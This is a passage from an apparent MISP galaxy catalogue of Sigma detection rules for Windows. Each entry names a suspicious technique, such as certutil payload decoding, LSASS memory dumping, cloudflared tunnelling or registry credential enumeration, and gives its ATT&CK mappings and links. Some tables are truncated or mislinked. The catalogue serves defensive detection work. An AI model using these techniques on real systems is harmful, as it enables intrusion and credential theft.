- related-to: misp-galaxy:mitre-attack-pattern="System Binary Proxy Execution - T1218" with estimative-language:likelihood-probability="almost-certain"

<table>
<thead>
<tr>
<th>Table 10029. Table References</th>
</tr>
</thead>
<tbody>
<tr>
<td>Links</td>
</tr>
<tr>
<td><a href="https://twitter.com/nas_bench/status/1535663791362519040">https://twitter.com/nas_bench/status/1535663791362519040</a></td>
</tr>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_lolbin_pcwrun_follina.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_lolbin_pcwrun_follina.yml</a></td>
</tr>
</tbody>
</table>

**Potential Reconnaissance Activity Via GatherNetworkInfo.VBS**

Detects execution of the built-in script located in "C:\Windows\System32\gatherNetworkInfo.vbs". Which can be used to gather information about the target machine

The tag is: misp-galaxy:sigma-rules="Potential Reconnaissance Activity Via GatherNetworkInfo.VBS"

View relationships graph

Potential Reconnaissance Activity Via GatherNetworkInfo.VBS has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Group Policy Discovery - T1615" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="Visual Basic - T1059.005" with estimative-language:likelihood-probability="almost-certain"

<table>
<thead>
<tr>
<th>Table 10030. Table References</th>
</tr>
</thead>
<tbody>
<tr>
<td>Links</td>
</tr>
<tr>
<td><a href="https://posts.slayerlabs.com/living-off-the-land/#gathernetworkinfovbs">https://posts.slayerlabs.com/living-off-the-land/#gathernetworkinfovbs</a></td>
</tr>
<tr>
<td><a href="https://www.mandiant.com/resources/blog/trojanized-windows-installers-ukrainian-government">https://www.mandiant.com/resources/blog/trojanized-windows-installers-ukrainian-government</a></td>
</tr>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_lolbin_gather_network_info.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_lolbin_gather_network_info.yml</a></td>
</tr>
</tbody>
</table>

**Potential PowerShell Execution Policy Tampering - ProcCreation**

Detects changes to the PowerShell execution policy registry key in order to bypass signing requirements for script execution from the CommandLine
The tag is: misp-galaxy:sigma-rules="Potential PowerShell Execution Policy Tampering - ProcCreation"

Table 10031. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_registry_set_unsecure_powershell_policy.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_registry_set_unsecure_powershell_policy.yml</a></td>
</tr>
</tbody>
</table>

**Renamed Sysinternals Sdelete Execution**

Detects the use of a renamed SysInternals Sdelete, which is something an administrator shouldn’t do (the renaming)

The tag is: misp-galaxy:sigma-rules="Renamed Sysinternals Sdelete Execution"

View relationships graph

Renamed Sysinternals Sdelete Execution has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Data Destruction - T1485" with estimative-language:likelihood-probability="almost-certain"

Table 10032. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://docs.microsoft.com/en-us/sysinternals/downloads/sdelete">https://docs.microsoft.com/en-us/sysinternals/downloads/sdelete</a></td>
</tr>
<tr>
<td><a href="https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bcfc365fee2a9/atomics/T1485/T1485.md">https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bcfc365fee2a9/atomics/T1485/T1485.md</a></td>
</tr>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_renamed_sysinternals_sdelete.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_renamed_sysinternals_sdelete.yml</a></td>
</tr>
</tbody>
</table>

**Shell Process Spawned by Java.EXE**

Detects shell spawned from Java host process, which could be a sign of exploitation (e.g. log4j exploitation)

The tag is: misp-galaxy:sigma-rules="Shell Process Spawned by Java.EXE"

Table 10033. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_java_susp_child_process_2.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_java_susp_child_process_2.yml</a></td>
</tr>
</tbody>
</table>
Permission Misconfiguration Reconnaissance Via Findstr.EXE

Detects usage of findstr with the "EVERYONE" or "BUILTIN" keywords. This is seen being used in combination with "icacls" to look for misconfigured files or folders permissions

The tag is: misp-galaxy:sigma-rules="Permission Misconfiguration Reconnaissance Via Findstr.EXE"

View relationships graph

Permission Misconfiguration Reconnaissance Via Findstr.EXE has relationships with:

• related-to: misp-galaxy:mitre-attack-pattern="Group Policy Preferences - T1552.006" with estimative-language:likelihood-probability="almost-certain"

Table 10034. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_findstr_recon_everyone.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_findstr_recon_everyone.yml</a></td>
</tr>
</tbody>
</table>

Cloudflared Tunnel Execution

Detects execution of the "cloudflared" tool to connect back to a tunnel. This was seen used by threat actors to maintain persistence and remote access to compromised networks.

The tag is: misp-galaxy:sigma-rules="Cloudflared Tunnel Execution"

View relationships graph

Cloudflared Tunnel Execution has relationships with:

• related-to: misp-galaxy:mitre-attack-pattern="Web Service - T1102" with estimative-language:likelihood-probability="almost-certain"

• related-to: misp-galaxy:mitre-attack-pattern="Proxy - T1090" with estimative-language:likelihood-probability="almost-certain"

• related-to: misp-galaxy:mitre-attack-pattern="Protocol Tunneling - T1572" with estimative-language:likelihood-probability="almost-certain"

Table 10035. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://blog.reconinfosec.com/emergence-of-akira-ransomware-group">https://blog.reconinfosec.com/emergence-of-akira-ransomware-group</a></td>
</tr>
<tr>
<td><a href="https://github.com/cloudflare/cloudflared">https://github.com/cloudflare/cloudflared</a></td>
</tr>
<tr>
<td><a href="https://developers.cloudflare.com/cloudflare-one/connections/connect-apps">https://developers.cloudflare.com/cloudflare-one/connections/connect-apps</a></td>
</tr>
</tbody>
</table>
File Decoded From Base64/Hex Via Certutil.EXE

Detects the execution of certutil with either the "decode" or "decodehex" flags to decode base64 or hex encoded files. This can be abused by attackers to decode an encoded payload before execution.

The tag is: misp-galaxy:sigma-rules="File Decoded From Base64/Hex Via Certutil.EXE"

View relationships graph

File Decoded From Base64/Hex Via Certutil.EXE has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1027" with estimative-language:likelihood-probability="almost-certain"

Table 10036. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://unit42.paloaltonetworks.com/new-babyshark-malware-targets-u-s-national-security-think-tanks/">https://unit42.paloaltonetworks.com/new-babyshark-malware-targets-u-s-national-security-think-tanks/</a></td>
</tr>
<tr>
<td><a href="https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/certutil">https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/certutil</a></td>
</tr>
<tr>
<td><a href="https://lolbas-project.github.io/lolbas/Binaries/Certutil/">https://lolbas-project.github.io/lolbas/Binaries/Certutil/</a></td>
</tr>
<tr>
<td><a href="https://twitter.com/JohnLaTwC/status/835149808817991680">https://twitter.com/JohnLaTwC/status/835149808817991680</a></td>
</tr>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_certutil_decode.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_certutil_decode.yml</a></td>
</tr>
</tbody>
</table>

Suspicious Child Process Created as System

Detection of child processes spawned with SYSTEM privileges by parents with LOCAL SERVICE or NETWORK SERVICE accounts.

The tag is: misp-galaxy:sigma-rules="Suspicious Child Process Created as System"

View relationships graph

Suspicious Child Process Created as System has relationships with:


Table 10037. Table References
AADInternals PowerShell Cmdlets Execution - ProccessCreation

Detects AADInternals Cmdlet execution. A tool for administering Azure AD and Office 365. Which can be abused by threat actors to attack Azure AD or Office 365.

The tag is: `misp-galaxy:sigma-rules="AADInternals PowerShell Cmdlets Execution - ProccessCreation"`

Table 10038. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://o365blog.com/aadinernals/">https://o365blog.com/aadinernals/</a></td>
</tr>
<tr>
<td><a href="https://github.com/Gerenios/AADInternals">https://github.com/Gerenios/AADInternals</a></td>
</tr>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_windows_susp_child_process_as_system.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_windows_susp_child_process_as_system.yml</a></td>
</tr>
</tbody>
</table>

Potential Network Sniffing Activity Using Network Tools

Detects potential network sniffing via use of network tools such as "tshark", "windump". Network sniffing refers to using the network interface on a system to monitor or capture information sent over a wired or wireless connection. An adversary may place a network interface into promiscuous mode to passively access data in transit over the network, or use span ports to capture a larger amount of data.

The tag is: `misp-galaxy:sigma-rules="Potential Network Sniffing Activity Using Network Tools"`

View relationships graph

Potential Network Sniffing Activity Using Network Tools has relationships with:

- related-to: `misp-galaxy:mitre-attack-pattern="Network Sniffing - T1040"` with estimative-language:likelihood-probability="almost-certain"

Table 10039. Table References
Suspicious TSCON Start as SYSTEM

Detects a tscon.exe start as LOCAL SYSTEM

The tag is: misp-galaxy:sigma-rules="Suspicious TSCON Start as SYSTEM"

View relationships graph

Suspicious TSCON Start as SYSTEM has relationships with:


Table 10040. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://medium.com/@networksecurity/rdp-hijacking-how-to-hijack-rds-and-remoteapp-sessions-transparently-to-move-through-an-da2a1e73a5f6">https://medium.com/@networksecurity/rdp-hijacking-how-to-hijack-rds-and-remoteapp-sessions-transparently-to-move-through-an-da2a1e73a5f6</a></td>
</tr>
<tr>
<td><a href="http://www.korznikov.com/2017/03/0-day-or-feature-privilege-escalation.html">http://www.korznikov.com/2017/03/0-day-or-feature-privilege-escalation.html</a></td>
</tr>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_tscon_localsystem.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_tscon_localsystem.yml</a></td>
</tr>
</tbody>
</table>

Process Memory Dump Via Dotnet-Dump

Detects the execution of "dotnet-dump" with the "collect" flag. The execution could indicate potential process dumping of critical processes such as LSASS

The tag is: misp-galaxy:sigma-rules="Process Memory Dump Via Dotnet-Dump"

View relationships graph

Process Memory Dump Via Dotnet-Dump has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="System Binary Proxy Execution - T1218" with estimative-language:likelihood-probability="almost-certain"

Table 10041. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fddc3742bfcf365f6e2a9/atomics/T1040/T1040.md">https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fddc3742bfcf365f6e2a9/atomics/T1040/T1040.md</a></td>
</tr>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_tscon_localsystem.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_tscon_localsystem.yml</a></td>
</tr>
</tbody>
</table>
**Potential Discovery Activity Via Dnscmd.EXE**

Detects an attempt to leverage dnscmd.exe to enumerate the DNS zones of a domain. DNS zones used to host the DNS records for a particular domain.

The tag is: *misp-galaxy:sigma-rules=*Potential Discovery Activity Via Dnscmd.EXE*

View relationships graph

Potential Discovery Activity Via Dnscmd.EXE has relationships with:

- **related-to:** *misp-galaxy:mitre-attack-pattern=*Windows Service - T1543.003* with estimative-language:likelihood-probability=*almost-certain*

**Table 10042. Table References**

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://lolbas-project.github.io/lolbas/Binaries/Dnscmd/">https://lolbas-project.github.io/lolbas/Binaries/Dnscmd/</a></td>
</tr>
<tr>
<td><a href="https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/dnscmd">https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/dnscmd</a></td>
</tr>
<tr>
<td><a href="https://docs.microsoft.com/en-us/azure/dns/dns-zones-records">https://docs.microsoft.com/en-us/azure/dns/dns-zones-records</a></td>
</tr>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_dnscmd_discovery.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_dnscmd_discovery.yml</a></td>
</tr>
</tbody>
</table>

**Suspicious Dump64.exe Execution**

Detects when a user bypasses Defender by renaming a tool to dump64.exe and placing it in a Visual Studio folder

The tag is: *misp-galaxy:sigma-rules=*Suspicious Dump64.exe Execution*

View relationships graph

Suspicious Dump64.exe Execution has relationships with:

- **related-to:** *misp-galaxy:mitre-attack-pattern=*LSASS Memory - T1003.001* with estimative-language:likelihood-probability=*almost-certain*

**Table 10043. Table References**

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://twitter.com/mrd0x/status/1460597833917251595">https://twitter.com/mrd0x/status/1460597833917251595</a></td>
</tr>
</tbody>
</table>
Suspicious Cmdl32 Execution

lolbas Cmdl32 is use to download a payload to evade antivirus

The tag is: `misp-galaxy:sigma-rules="Suspicious Cmdl32 Execution"`

View relationships graph

Suspicious Cmdl32 Execution has relationships with:

- related-to: `misp-galaxy:mitre-attack-pattern="System Binary Proxy Execution - T1218"` with estimative-language:likelihood-probability="almost-certain"
- related-to: `misp-galaxy:mitre-attack-pattern="Indirect Command Execution - T1202"` with estimative-language:likelihood-probability="almost-certain"

PUA - CsExec Execution

Detects the use of the lesser known remote execution tool named CsExec a PsExec alternative

The tag is: `misp-galaxy:sigma-rules="PUA - CsExec Execution"`

View relationships graph

PUA - CsExec Execution has relationships with:

- related-to: `misp-galaxy:mitre-attack-pattern="Malware - T1587.001"` with estimative-language:likelihood-probability="almost-certain"
Windows Credential Manager Access via VaultCmd

List credentials currently stored in Windows Credential Manager via the native Windows utility vaultcmd.exe

The tag is: misp-galaxy:sigma-rules="Windows Credential Manager Access via VaultCmd"

View relationships graph

Windows Credential Manager Access via VaultCmd has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Windows Credential Manager - T1555.004" with estimative-language:likelihood-probability="almost-certain"

Table 10046. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057f8fcd3742bfcf365fee2a9/atomics/T1555.004/T1555.004.md#atomic-test-1---access-saved-credentials-via-vaultcmd">https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057f8fcd3742bfcf365fee2a9/atomics/T1555.004/T1555.004.md#atomic-test-1---access-saved-credentials-via-vaultcmd</a></td>
</tr>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_vaultcmd_list_creds.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_vaultcmd_list_creds.yml</a></td>
</tr>
</tbody>
</table>

Suspicious Child Process Of SQL Server

Detects suspicious child processes of the SQLServer process. This could indicate potential RCE or SQL Injection.

The tag is: misp-galaxy:sigma-rules="Suspicious Child Process Of SQL Server"

View relationships graph

Suspicious Child Process Of SQL Server has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Web Shell - T1505.003" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="Exploit Public-Facing Application - T1190" with estimative-language:likelihood-probability="almost-certain"

Table 10047. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_mssql_susp_child_process.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_mssql_susp_child_process.yml</a></td>
</tr>
</tbody>
</table>
WSL Child Process Anomaly

Detects uncommon or suspicious child processes spawning from a WSL process. This could indicate an attempt to evade parent/child relationship detections or persistence attempts via cron using WSL.

The tag is: `misp-galaxy:sigma-rules="WSL Child Process Anomaly"`

View relationships graph

WSL Child Process Anomaly has relationships with:

- related-to: `misp-galaxy:mitre-attack-pattern="System Binary Proxy Execution - T1218"` with estimative-language:likelihood-probability="almost-certain"
- related-to: `misp-galaxy:mitre-attack-pattern="Indirect Command Execution - T1202"` with estimative-language:likelihood-probability="almost-certain"

Table 10048. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://twitter.com/nas_bench/status/153543147429808642">https://twitter.com/nas_bench/status/153543147429808642</a></td>
</tr>
<tr>
<td><a href="https://lolbas-project.github.io/lolbas/OtherMSBinaries/Wsl/">https://lolbas-project.github.io/lolbas/OtherMSBinaries/Wsl/</a></td>
</tr>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_wsl_child_processes_anomalies.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_wsl_child_processes_anomalies.yml</a></td>
</tr>
</tbody>
</table>

Mstsc.EXE Execution With Local RDP File

Detects potential RDP connection via Mstsc using a local ".rdp" file.

The tag is: `misp-galaxy:sigma-rules="Mstsc.EXE Execution With Local RDP File"`

View relationships graph

Mstsc.EXE Execution With Local RDP File has relationships with:


Table 10049. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://blog.thickmints.dev/mintsights/detecting-rogue-rdp/">https://blog.thickmints.dev/mintsights/detecting-rogue-rdp/</a></td>
</tr>
<tr>
<td><a href="https://www.blackhillsinfosec.com/rogue-rdp-revisiting-initial-access-methods/">https://www.blackhillsinfosec.com/rogue-rdp-revisiting-initial-access-methods/</a></td>
</tr>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_mstsc_run_local_rdp_file.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_mstsc_run_local_rdp_file.yml</a></td>
</tr>
</tbody>
</table>
**HackTool - SILENTTRINITY Stager Execution**

Detects SILENTTRINITY stager use via PE metadata

The tag is: `misp-galaxy:sigma-rules="HackTool - SILENTTRINITY Stager Execution"`

**View relationships graph**

HackTool - SILENTTRINITY Stager Execution has relationships with:


**Computer System Reconnaissance Via Wmic.EXE**

Detects execution of `wmic` utility with the "computersystem" flag in order to obtain information about the machine such as the domain, username, model, etc.

The tag is: `misp-galaxy:sigma-rules="Computer System Reconnaissance Via Wmic.EXE"`

**View relationships graph**

Computer System Reconnaissance Via Wmic.EXE has relationships with:


**Always Install Elevated Windows Installer**

Detects Windows Installer service (`msiexec.exe`) trying to install MSI packages with SYSTEM privilege

The tag is: `misp-galaxy:sigma-rules="Always Install Elevated Windows Installer"`
Always Install Elevated Windows Installer has relationships with:


Table 10052. Table References

<table>
<thead>
<tr>
<th>Links</th>
<th></th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_always_install_elevated_windows_installer.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_always_install_elevated_windows_installer.yml</a></td>
<td></td>
</tr>
</tbody>
</table>

**File Download From Browser Process Via Inline URL**

Detects execution of a browser process with a URL argument pointing to a file with a potentially interesting extension. This can be abused to download arbitrary files or to hide from the user for example by launching the browser in a minimized state.

The tag is: *misp-galaxy:sigma-rules=*"File Download From Browser Process Via Inline URL"

Table 10053. Table References

<table>
<thead>
<tr>
<th>Links</th>
<th></th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://lolbas-project.github.io/lolbas/Binaries/Msedge/">https://lolbas-project.github.io/lolbas/Binaries/Msedge/</a></td>
<td></td>
</tr>
<tr>
<td><a href="https://twitter.com/mrd0x/status/1478116126005641220">https://twitter.com/mrd0x/status/1478116126005641220</a></td>
<td></td>
</tr>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_browsers_inline_file_download.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_browsers_inline_file_download.yml</a></td>
<td></td>
</tr>
</tbody>
</table>

**Add Potential Suspicious New Download Source To Winget**

Detects usage of winget to add new potentially suspicious download sources

The tag is: *misp-galaxy:sigma-rules=*"Add Potential Suspicious New Download Source To Winget"

Add Potential Suspicious New Download Source To Winget has relationships with:
• related-to: misp-galaxy:mitre-attack-pattern="Command and Scripting Interpreter - T1059" with estimative-language:likelihood-probability="almost-certain"

Table 10054. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://github.com/nasbench/Misc-Research/tree/b9596e8109dcdb16ec353f316678927e507a5b8d/LOLBINs/Winget">https://github.com/nasbench/Misc-Research/tree/b9596e8109dcdb16ec353f316678927e507a5b8d/LOLBINs/Winget</a></td>
</tr>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_winget_add_susp_custom_source.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_winget_add_susp_custom_source.yml</a></td>
</tr>
</tbody>
</table>

**Suspicious Atbroker Execution**

Atbroker executing non-default Assistive Technology applications

The tag is: *misp-galaxy:sigma-rules="Suspicious Atbroker Execution"*

View relationships graph

Suspicious Atbroker Execution has relationships with:

• related-to: misp-galaxy:mitre-attack-pattern="System Binary Proxy Execution - T1218" with estimative-language:likelihood-probability="almost-certain"

Table 10055. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://lolbas-project.github.io/lolbas/Binaries/Atbroker/">https://lolbas-project.github.io/lolbas/Binaries/Atbroker/</a></td>
</tr>
<tr>
<td><a href="http://www.hexacorn.com/blog/2016/07/22/beyond-good-ol-run-key-part-42/">http://www.hexacorn.com/blog/2016/07/22/beyond-good-ol-run-key-part-42/</a></td>
</tr>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_lolbin_susp_atbroker.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_lolbin_susp_atbroker.yml</a></td>
</tr>
</tbody>
</table>

**DLL Execution via Rasautou.exe**

Detects using Rasautou.exe for loading arbitrary .DLL specified in -d option and executes the export specified in -p.

The tag is: *misp-galaxy:sigma-rules="DLL Execution via Rasautou.exe"*

View relationships graph

DLL Execution via Rasautou.exe has relationships with:

• related-to: misp-galaxy:mitre-attack-pattern="System Binary Proxy Execution - T1218" with estimative-language:likelihood-probability="almost-certain"

Table 10056. Table References
Links

https://github.com/fireeye/DueDLLigence


https://lolbas-project.github.io/lolbas/Binaries/Rasautou/

https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_lolbin_rasautou_dll_execution.yml

Enumeration for Credentials in Registry

Adversaries may search the Registry on compromised systems for insecurely stored credentials. The Windows Registry stores configuration information that can be used by the system or other programs. Adversaries may query the Registry looking for credentials and passwords that have been stored for use by other programs or services.

The tag is: misp-galaxy: sigma-rules="Enumeration for Credentials in Registry"

View relationships graph

Enumeration for Credentials in Registry has relationships with:

- related-to: misp-galaxy: mitre-attack-pattern="Credentials in Registry - T1552.002" with estimative-language: likelihood-probability="almost-certain"

Table 10057. Table References

Links

https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fddfcd3742bfcf365fee2a9/atomics/T1552.002/T1552.002.md

https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_reg Enumeration for credentials in registry.yml

Suspicious VBoxDrvInst.exe Parameters

Detect VBoxDrvInst.exe run with parameters allowing processing INF file. This allows to create values in the registry and install drivers. For example one could use this technique to obtain persistence via modifying one of Run or RunOnce registry keys.

The tag is: misp-galaxy: sigma-rules="Suspicious VBoxDrvInst.exe Parameters"

View relationships graph

Suspicious VBoxDrvInst.exe Parameters has relationships with:

- related-to: misp-galaxy: mitre-attack-pattern="Modify Registry - T1112" with estimative-language: likelihood-probability="almost-certain"
Base64 MZ Header In CommandLine

Detects encoded base64 MZ header in the commandline

The tag is: `misp-galaxy:sigma-rules="Base64 MZ Header In CommandLine"`

Suspicious File Download From IP Via Wget.EXE

Detects potentially suspicious file downloads directly from IP addresses using Wget.exe

The tag is: `misp-galaxy:sigma-rules="Suspicious File Download From IP Via Wget.EXE"`

Scheduled Task Creation

Detects the creation of scheduled tasks in user session

The tag is: `misp-galaxy:sigma-rules="Scheduled Task Creation"`

View relationships graph

Scheduled Task Creation has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Scheduled Task - T1053.005" with estimative-
**Suspicious Serv-U Process Pattern**

Detects a suspicious process pattern which could be a sign of an exploited Serv-U service

The tag is: *misp-galaxy:sigma-rules=*"Suspicious Serv-U Process Pattern"

View relationships graph

Suspicious Serv-U Process Pattern has relationships with:

- related-to: *misp-galaxy:mitre-attack-pattern=*"Credentials from Password Stores - T1555" with 
estimative-language:likelihood-probability="almost-certain"

---

**Suspicious Where Execution**

Adversaries may enumerate browser bookmarks to learn more about compromised hosts. Browser bookmarks may reveal personal information about users (ex: banking sites, interests, social media, etc.) as well as details about internal network resources such as servers, tools/dashboards, or other related infrastructure.

The tag is: *misp-galaxy:sigma-rules=*"Suspicious Where Execution"

View relationships graph

Suspicious Where Execution has relationships with:

- related-to: *misp-galaxy:mitre-attack-pattern=*"Browser Information Discovery - T1217" with 
estimative-language:likelihood-probability="almost-certain"
Whoami Utility Execution

Detects the execution of whoami, which is often used by attackers after exploitation / privilege escalation

The tag is: 

```markdown
misp-galaxy:sigma-rules="Whoami Utility Execution"
```

View relationships graph

Whoami Utility Execution has relationships with:


**Table 10064. Table References**

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://app.any.run/tasks/7eaba74e-c1ea-400f-9c17-5e30eee89906/">https://app.any.run/tasks/7eaba74e-c1ea-400f-9c17-5e30eee89906/</a></td>
</tr>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_whoami_execution.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_whoami_execution.yml</a></td>
</tr>
</tbody>
</table>

HackTool - WinPwn Execution

Detects commandline keywords indicative of potential usage of the tool WinPwn. A tool for Windows and Active Directory reconnaissance and exploitation.

The tag is: 

```markdown
misp-galaxy:sigma-rules="HackTool - WinPwn Execution"
```

View relationships graph

HackTool - WinPwn Execution has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Network Service Discovery - T1046" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="System Information Discovery - T1082" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="Native API - T1106" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="Software Discovery - T1518" with estimative-
• related-to: misp-galaxy:mitre-attack-pattern="Bypass User Account Control - T1548.002" with estimative-language:likelihood-probability="almost-certain"

• related-to: misp-galaxy:mitre-attack-pattern="Credentials In Files - T1552.001" with estimative-language:likelihood-probability="almost-certain"

• related-to: misp-galaxy:mitre-attack-pattern="Credentials from Password Stores - T1555" with estimative-language:likelihood-probability="almost-certain"

• related-to: misp-galaxy:mitre-attack-pattern="Credentials from Web Browsers - T1555.003" with estimative-language:likelihood-probability="almost-certain"

Table 10065. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td>repo[0]=redcanaryco/atomic-red-team[repo[0]=redcanaryco/atomic-red-team]</td>
</tr>
<tr>
<td><a href="https://github.com/redcanaryco/atomic-red-team/blob/4d6c4e8e23d465af7a2388620cfe3f8c76e16cf0/atomics/T1082/T1082.md">https://github.com/redcanaryco/atomic-red-team/blob/4d6c4e8e23d465af7a2388620cfe3f8c76e16cf0/atomics/T1082/T1082.md</a></td>
</tr>
<tr>
<td><a href="https://github.com/S3cur3Th1sSh1t/WinPwn">https://github.com/S3cur3Th1sSh1t/WinPwn</a></td>
</tr>
<tr>
<td><a href="https://www.publicnow.com/view/EB87DB49C654D9B63995FAD4C9DE3D3CC4F6C3ED?1671634841">https://www.publicnow.com/view/EB87DB49C654D9B63995FAD4C9DE3D3CC4F6C3ED?1671634841</a></td>
</tr>
<tr>
<td><a href="https://reconshell.com/winpwn-tool-for-internal-windows-pentesting-and-ad-security/">https://reconshell.com/winpwn-tool-for-internal-windows-pentesting-and-ad-security/</a></td>
</tr>
<tr>
